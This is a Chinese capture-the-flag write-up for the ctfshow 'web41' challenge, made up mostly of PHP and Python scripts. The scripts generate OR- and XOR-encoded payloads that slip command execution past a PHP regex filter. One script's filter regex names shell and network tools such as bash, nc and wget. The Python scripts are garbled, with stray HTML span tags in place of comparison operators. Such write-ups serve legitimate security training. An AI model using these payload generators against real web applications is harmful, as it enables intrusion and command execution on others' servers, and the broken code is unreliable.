ctfshow中web入门第web41

ctfshow中web入门第web41

留下了|运算绕过的方法那么直接利用脚本即可。

先用or运算的php脚本生成需要的规则文件(.txt文件)。如下图直接把需要绕过的正则替换成题目的正则就好:

再用python脚本基于刚刚生成的txt文件跑出payload,如下图:

结果中的分号需要去除。就ok了。

利用代码:

php 复制代码
//php或运算绕过脚本
<?php
$myfile = fopen("res_xor.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';//根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)|urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);
php 复制代码
//php异或绕过脚本
<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);
python 复制代码
//python或运算脚本
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res_xor.txt", "r")
        while True:
            t = f.readline()
            if t <span style="font-weight: bold;" class="mark"> "":
                break
            if t[0] </span> i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)
python 复制代码
//python异或运算脚本
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res.txt", "r")
        while True:
            t = f.readline()
            if t <span style="font-weight: bold;" class="mark"> "":
                break
            if t[0] </span> i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

相关推荐
花木偶3 小时前
【郑大二年级信安小学期】Day6:CTF密码学&杂项&工具包
安全·web安全·密码学
黑客老李11 小时前
EDUSRC:智慧校园通用漏洞挖掘(涉校园解决方案商)
服务器·前端·网络·安全·web安全
薄荷椰果抹茶12 小时前
【网络安全基础】第七章---无线网络安全
网络·安全·web安全
weixin_4723394612 小时前
网络安全之重放攻击:原理、危害与防御之道
安全·web安全
咖啡啡不加糖12 小时前
暴力破解漏洞与命令执行漏洞
java·后端·web安全
weixin_4723394612 小时前
网络安全之注入攻击:原理、危害与防御之道
安全·web安全
码农12138号18 小时前
BUUCTF在线评测-练习场-WebCTF习题[GXYCTF2019]BabyUpload1-flag获取、解析
web安全·网络安全·文件上传漏洞·buuctf·解析漏洞
薄荷椰果抹茶1 天前
【网络安全基础】第六章---Web安全需求
安全·web安全
HumanRisk2 天前
降低网络安全中的人为风险:以人为本的路径
网络·安全·web安全
安全系统学习2 天前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss